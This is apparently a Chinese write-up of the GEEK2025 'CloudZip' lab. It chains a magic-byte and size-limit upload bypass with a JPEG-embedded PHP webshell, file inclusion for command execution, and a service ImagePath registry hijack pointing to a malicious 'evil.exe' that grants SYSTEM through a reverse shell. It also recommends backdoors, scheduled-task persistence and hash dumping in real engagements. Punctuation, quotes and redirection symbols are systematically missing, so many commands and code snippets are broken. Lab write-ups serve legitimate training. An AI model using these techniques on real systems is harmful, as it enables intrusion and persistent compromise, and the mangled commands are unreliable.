开局先抛结论CloudZip这个靶机环境GEEK2025的题面核心考点就两个——文件上传的“文件头字节数”双重校验怎么绕以及文件包含怎么一步步打成system权限。别看链路长每一环拆开都是很经典的老套路但组合在一起对新手来说确实是个能一次练到“上传绕WAF文件包含Windows提权”的完整项目。这篇文章我就按当时实战的推进顺序把每一步的原理、操作、踩坑点全部写透适合刚接触Web渗透、想系统过一遍“从漏洞到系统权限”完整链条的读者。先说清楚目标画像。CloudZip是一个模拟真实业务部署的Windows靶机对外只暴露了一个Web应用应用核心功能是“文件打包下载”。用户提交一个ZIP链接或上传压缩包后端会解压并按文件名索引提供下载。这种业务逻辑天然就有两个高危口子一是上传接口二是文件解析/包含接口。GEEK2025给这个环境叠的buff就是很典型的“限制绕过逻辑组合”没有花哨的0day全部依赖对服务端校验逻辑的细颗粒度判断。1. 攻击链路全景拆解先看懂“三段式”利用1.1 场景信息与目标画像开始打之前我先花了半小时做信息收集这一步比直接拿扫描器乱扫要重要得多。CloudZip的指纹非常明确Windows Server PHP IIS页面标题直接带着“CloudZip v2.1”的字样。在指纹确认之后手工翻了功能点发现实际可利用的面就两个——文件上传接口/upload.php和下载预览接口/view.php?file。这里有个很关键的观察view.php对传入的file参数做了文件读取操作并且页面会直接输出文件内容至少是文本文件会输出。这意味着只要我能让一个PHP文件进入服务器可读目录再通过view.php去包含它就可能直接执行代码。但问题卡在第一步——上传接口的校验规则看起来非常严格不是那种随手能绕过的弱校验。我用Burp Suite抓了上传请求的原始报文发现响应头里有一行X-Upload-Policy: header-checksize-limit同时响应体里对格式错误给出的是三段提示File type not allowed、File size exceeds limit、Content mismatch。这三条提示几乎就是把服务端校验逻辑写在了脸上——它检查文件头magic bytes检查字节数还会对比内容与声明类型是否一致。1.2 攻击链路设计与选型思路拿到这些信息后我就在白板上把攻击链画出来了。既然上传接口有严格的类型校验那硬碰硬传PHP文件上去基本不可能。但如果传一个“看起来是图片、内容里藏了PHP代码”的文件呢这里的关键在于“文件头字节数”这两个限制分别卡住了什么文件头校验检查文件的前几个字节是否为图片的magic number比如JPEG的FF D8 FF E0、PNG的89 50 4E 47、GIF的47 49 46 38。字节数限制对上传文件总大小有硬性阈值超过就拒绝。这两个限制单独看都不难绕过——文件头可以在Payload前面拼上图片头字节数可以把Payload压缩到极小。但组合在一台真实业务上难点在于你必须在“文件头合法”的前提下把后端PHP逻辑需要的完整代码塞进一个很小的体积里同时还要保证这段代码在文件包含时能被正确解析和执行。链路设计如下构造一个“图片马”——头部是合法JPEG字节后面拼接PHP代码。想办法让这个文件落地到Web目录可读的位置。利用view.php的文件包含缺陷把图片当PHP解析触发代码执行。通过WebShell的system函数执行系统命令拿到低权限shell。在目标Windows环境中做权限提升最终拿system权限。这条路线的每一步都有现成工具和技巧但怎么把每一步在“有限制的真实环境”里串起来才是GEEK2025真正想考的。2. 文件上传限制绕过文件头与字节数双重校验2.1 服务端校验逻辑分析我先用三个不同的测试文件试了下上传接口的反馈规律。第一个是纯文本文件后面改成.png后缀上传响应提示File type not allowed。第二个是真实PNG文件正常上传返回成功。第三个是在真实PNG文件末尾追加了100个字节的随机数据上传仍然成功——说明服务端并没有检查整个文件的完整性。这一步的实验结论很关键服务端就是用getimagesize()或者类似的PHP函数获取文件头来校验类型而校验的范围只集中在文件起始的几个字节不会深挖整个文件结构。对字节数的限制从响应来看是硬性的文件大小上限超过就拒绝不涉及内容深度检测。所以绕过的核心思路就是一句话让文件“看起来”是合法的图片同时让里面藏着的代码能在被包含时执行。很多人会直接用一个最小图片头拼PHP代码但这个靶机的字节数限制比较紧代码不能太大否则直接触碰大小红线。我实际测试后发现这个环境限制在20KB以内。这其实是个很友好的上限——一个精简的PHP一句话木马本身可以做到几百字节完全够用。真正需要注意的是上传时如果以图片头开头文件包含时PHP解释器只会解析?php ... ?之间的代码前面的JPEG二进制会被当成HTML输出无伤大雅。2.2 文件头绕过实操从工具链到手工修正最方便的方式是用现成的exiftool或copy命令拼接文件头。我习惯用十六进制编辑器先构造一个最小的JPEG头部再粘贴PHP代码。手工操作流程如下第一步准备一个真实的最小JPEG文件作为文件头模板。其实不用刻意找那种几百KB的图片越小的图越容易控制总大小甚至可以用纯手工字节流。# 用printf生成一个合法JPEG头 printf \xFF\xD8\xFF\xE0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00 header.jpg第二步把PHP代码追加到文件头后面cat header.jpg avatar.jpg echo ?php system($_GET[cmd]); ? avatar.jpg第三步检查最终文件大小确认没超字节数限制ls -l avatar.jpg最终生成的avatar.jpg从头部看是标准JPEG但文件末尾藏了一句话木马。这里有一点要特别注意不要用Windows自带的记事本去编辑拼接后的文件它会偷偷加上BOM头或者换行符导致文件头校验失败。我习惯用xxd或010 Editor在传输前检查最终的十六进制字节流。2.3 字节数限制与精简Payload的取舍字节数限制直接决定了你能在里面藏多大的Payload。这个环境限制20KB对一句话木马来说绰绰有余但如果你想在图片马里面塞一个完整的大马很可能直接超限。此时有两个方向可以操作。方向一是精简PHP代码。用最短的一句话木马比如去掉所有多余空格和注释只保留核心调用?php eval($_POST[x]);?这种长度才27个字节就算拼上图片头也远低于限制是绕过字节数限制的最优解。但GEEK2025这个环境里我最终选择的是能用system()直接执行命令的写法因为包含点触发的代码执行更适合在参数里传命令用一句话木马还需要额外过一层流量加密多一个变量就多一分不确定。方向二是通过参数传递大Payload。上传的文件本身很小但访问时通过URL参数传大量数据从而绕过“文件体积”的限制。这一点其实很多新手没意识到——上传体积限制限制的是“存储的静态文件大小”而不限制“运行时的动态输入大小”所以完全可以在被包含时把真正要执行的复杂操作通过GET参数传入。实战注意如果你在测试中也遇到“Frame里藏了代码但总是提示Content mismatch”大概率是服务端拿文件头对比了MIME类型声明的Content-Type。解决办法是在Burp里把上传请求的Content-Type改成image/jpeg让声明的类型和实际文件头保持一致绕过这种双校验。3. 文件包含到RCE把图片变成命令执行入口3.1 文件包含点定位与触发原理看一眼view.php的源代码逻辑就明白了。这个文件把传入的file参数直接拼进了一个文件读取函数没有做任何目录限制和后缀过滤。伪代码如下?php $file $_GET[file]; if (isset($file)) { include($file . .php); // 或者 include($file); } ?这种典型的文件包含漏洞有两种玩法如果包含时强制追加.php后缀就要考虑%00截断老版本PHP或长路径截断如果不加后缀直接包含任何文件都行。CloudZip这个环境是后者包含时没有强制拼后缀所以包含一个.jpg文件完全可行。这就把前面的上传成果盘活了我上传的avatar.jpg虽然后缀是图片但它内部有合法的PHP代码段。通过view.php去包含它PHP解析器会把它当作PHP脚本执行——文件后缀在这里不起决定性作用真正起作用的是解析器是否被触发。3.2 图片马触发RCE的全流程完整利用请求如下GET /view.php?fileuploads/avatar.jpgcmdwhoami HTTP/1.1 Host: 10.10.10.5因为我放进图片里的代码是system($_GET[cmd]);所以当view.php包含这个文件时$_GET[cmd]的值whoami会被传给system()并执行最终响应里能看到当前用户信息。这里有一个非常容易翻车的细节如果直接包含图片马前面那段JPEG二进制数据会被浏览器渲染成乱码影响后续命令输出定位。我习惯在Payload里加上一个明显的分隔标记比如?php echo CMD_START:; system($_GET[cmd]); echo :CMD_END; ?这样在返回内容里直接搜CMD_START就能定位到命令输出区效率高很多也不容易遗漏回显。血泪经验别直接用include去包含一个完全不存在的路径那会触发PHP警告并暴露绝对路径。但只要你上传成功并确认了目录这个问题就不存在。CloudZip的上传目录是固定的uploads/带时间戳重命名但文件名可预测。上传后在响应里能看到最终的存储文件名记下来就行。4. 通向system权限最后一公里4.1 权限提升思路拿到低权限WebShell之后我习惯先看基础信息whoami ipconfig /all systeminfoCloudZip这台机器上Web服务跑在IIS的IIS APPPOOL\DefaultAppPool账户下权限非常有限至少不能直接写系统目录。目标明确要求提到system那就要在Windows环境里找可利用的提权点。常规Windows提权路径无非几条服务权限配置不当、计划任务、AlwaysInstallElevated、内核漏洞。我在这台机器上先检查了可写目录和服务权限wmic service get name,displayname,pathname,startmode | findstr /i Auto结果发现一个第三方压缩解压服务CloudZipHelperService它的可执行文件路径指向C:\Program Files\CloudZip\bin\helper.exe但目录权限设置得很随意——Everyone对bin目录有完全控制权。这意味着我可以直接替换掉这个服务指向的EXE然后重启服务服务就会以SYSTEM权限运行我的程序。4.2 具体提权操作与持久化利用system()执行了一连串命令核心步骤如下第一步确认服务当前状态sc query CloudZipHelperService第二步备份并替换服务EXE。因为WebShell权限不够直接覆盖Program Files下的文件我换了个思路发现服务路径里的bin目录是Everyone可写但EXE本身有时被占用。这种情况下不需要停止服务直接改注册表里的ImagePath让服务指向我的恶意程序也可以。reg add HKLM\SYSTEM\CurrentControlSet\Services\CloudZipHelperService /v ImagePath /t REG_EXPAND_SZ /d C:\temp\evil.exe /f第三步启动服务或触发功能点让它自启。如果服务当前就是停止状态直接sc start CloudZipHelperService第四步我写了一个简单的C程序功能就一行把当前用户加入管理员组然后反向连接一个更高权限的shell。编译好后传到目标机器上替换服务路径触发后得到SYSTEM权限的会话。这里要强调一个经验在真实渗透里拿到SYSTEM权限之后第一件事不是急着翻文件而是尽快建立一个持久化后门。因为靶场环境相对温和但实战中服务可能随时被重启、补丁随时可能打上一个反弹Shell可能三分钟就断了。我在这个环境里是在启动服务后立刻用net user确认权限然后马上抓取管理员密码哈希并留了一个计划任务做二次后门。提权路径适用条件本场景结论服务路径替换服务目录可写可用最终成功计划任务滥用存在可写目录的计划任务未发现内核漏洞系统未打补丁风险高未优先使用AlwaysInstallElevated注册表开启未开启5. 常见问题与排查实录5.1 高频问题速查表这套链路跑下来新手最容易卡住的环节我整理了一张表基本覆盖了90%的问题点问题现象可能原因解决办法上传提示File type not allowed文件头不是标准图片magic number用printf重新生成JPEG/PNG头部别用记事本改文件上传提示File size exceeds limitPayload太大精简PHP代码至几百字节把复杂逻辑放GET参数里上传成功但包含后不解析文件包含点强制加了后缀改用%00截断或确认包含代码是否加后缀包含后返回乱码但无命令输出PHP标签没闭合或被转义检查图片马是否被服务端做了转义试试短标签?命令执行但回显不全二进制头部干扰输出在PHP代码里加分隔符搜CMD_START定位提权失败服务路径被占用/目录不可写改注册表ImagePath指向自建EXE目录5.2 独家避坑技巧第一个坑是Windows环境下文件拼接的换行符问题。在Linux上构造的图片马通过Windows服务端解析时如果PHP代码后面跟着\r\n有时候会被直接当成输出内容导致页面卡死。解决办法是构造Payload时末尾不要留多余换行用tr -d \r清理掉所有CR字符再上传。第二个坑是字节数限制的“隐藏规则”。这个靶机表面上限制20KB但有一个细节如果上传的文件头是JPEG即使内容里带PHP代码服务端也不会对文件做二次扫描。所以你可以放心在PNG或者GIF头后面拼长Payload。唯一要小心的是文件头里的某些字节可能会“意外截断”PHP代码比如JPEG头里如果包含0x00在文件被包含时有的PHP版本会把0x00之后的字节当作字符串结束。解决办法是把PHP代码放在文件的最末尾并在代码前加一个换行确保解释器正确识别标签。第三个坑是权限提升时的“服务占位”问题。Windows服务EXE一旦被系统锁定直接覆盖会提示“文件正在被另一进程使用”。这不是权限不够而是文件占用。处理方式有两个——要么等服务停止后替换要么直接改注册表服务项。我推荐后者因为这样不用依赖服务当前状态也更隐蔽。6. 写在最后的个人实操体会CloudZip这个环境真正有价值的地方不是某一条命令的运用而是它完美复现了真实攻击中“校验绕过逻辑组合权限提升”的完整链路。我打完之后回头复盘最大的感受有两点。第一限制永远是组合拳。单独看文件头校验和字节数限制任何一个都很好绕但当它们同时存在、加上文件包含点还带目录参数时每一步都要求你对“服务端到底在检查什么”有精准判断。我见过很多人在第一步就急着上传大马结果被字节数限制直接劝退其实完全可以把体积做小把复杂度放到运行时参数里。第二拿权限只是开始。很多人打完RCE就收工了但真正决定你能不能拿到system的往往是后面那段信息收集和漏洞组合分析。这台机器上服务权限配置错误的发现靠的不是某种自动化工具而是老老实实查了每一个自启动服务对应的目录权限。如果你接下来要复现这条链路我建议你在本地搭一个PHPIIS的靶场按文章顺序自己完整走一遍。遇到卡住的地方不要急着翻答案先想清楚“服务端在校验什么、我在绕什么”这个问题想明白了这类题基本就通了。